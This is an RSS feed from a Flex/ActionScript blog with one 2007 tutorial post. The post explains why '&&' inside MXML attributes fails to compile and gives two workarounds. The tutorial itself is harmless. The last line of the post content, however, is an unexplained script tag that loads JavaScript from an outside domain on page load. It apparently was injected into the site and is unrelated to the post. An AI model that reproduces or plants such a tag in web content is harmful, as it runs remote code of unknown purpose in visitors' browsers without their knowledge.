<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; logical operators</title>
	<atom:link href="http://www.myflexiblelife.com/tags/logical-operators/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Flex and logical AND (&amp;&amp;) operator usage inside mxml code</title>
		<link>http://www.myflexiblelife.com/2007/08/29/flex-and-logical-and-operator-usage-inside-mxml-code/</link>
		<comments>http://www.myflexiblelife.com/2007/08/29/flex-and-logical-and-operator-usage-inside-mxml-code/#comments</comments>
		<pubDate>Wed, 29 Aug 2007 19:23:57 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Tips & Tricks]]></category>
		<category><![CDATA[logical operators]]></category>
		<category><![CDATA[mxml]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=7</guid>
		<description><![CDATA[While developing Flex applications you may need to use logical AND operator (&#38;&#38;) inside mxml code, as in the following code example:

1
2
3
4
5
6
7
8
9
&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&#62;
&#60;mx:Application
  xmlns:mx=&#34;http://www.adobe.com/2006/mxml&#34;
  layout=&#34;vertical&#34;&#62;
    &#60;mx:CheckBox label=&#34;Check me&#34; id=&#34;cb1&#34; click=&#34;{}&#34; /&#62;
    &#60;mx:CheckBox label=&#34;Check me&#34; id=&#34;cb2&#34; click=&#34;{}&#34;/&#62;
    &#60;mx:Button label=&#34;Now you can click me&#34; id=&#34;bt1&#34;
 [...]]]></description>
			<content:encoded><![CDATA[<p>While developing Flex applications you may need to use <strong>logical AND operator</strong> (<code>&amp;&amp;</code>) inside <strong>mxml</strong> code, as in the following code example:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span></span>
<span style="color: #000000;">  xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">  layout=<span style="color: #ff0000;">&quot;vertical&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb1&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb2&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Now you can click me&quot;</span> id=<span style="color: #ff0000;">&quot;bt1&quot;</span></span>
<span style="color: #000000;">      enabled=<span style="color: #ff0000;">&quot;{cb1.selected &amp;&amp; cb2.selected}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>Actually the Flex compiler won&#8217;t compile this code blaming that <em>the entity name must immediately follow the &#8216;&amp;&#8217; in the entity reference</em> that is trying to interpret the first <code>&amp;</code> as the starting name of an entity.</p>
<p>You can find a couple of solutions <a href="http://blog.shrefler.net/?p=7">here</a>. The one I prefer consists of replacing the <code>&amp;</code> character into its equivalent html entity <code>&amp;</code> but you can also implement the solution below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span></span>
<span style="color: #000000;">  xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">  layout=<span style="color: #ff0000;">&quot;vertical&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">    &lt;![CDATA[</span>
<span style="color: #339933;">      private function and(p1:Boolean, p2:Boolean):Boolean {</span>
<span style="color: #339933;">        return p1 &amp;&amp; p2;</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">    ]]&gt;</span>
<span style="color: #339933;">    &lt;/mx:Script&gt;</span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb1&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb2&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Now you can click me&quot;</span> id=<span style="color: #ff0000;">&quot;bt1&quot;</span></span>
<span style="color: #000000;">      enabled=<span style="color: #ff0000;">&quot;{and(cb1.selected, cb2.selected)}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2007/08/29/flex-and-logical-and-operator-usage-inside-mxml-code/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
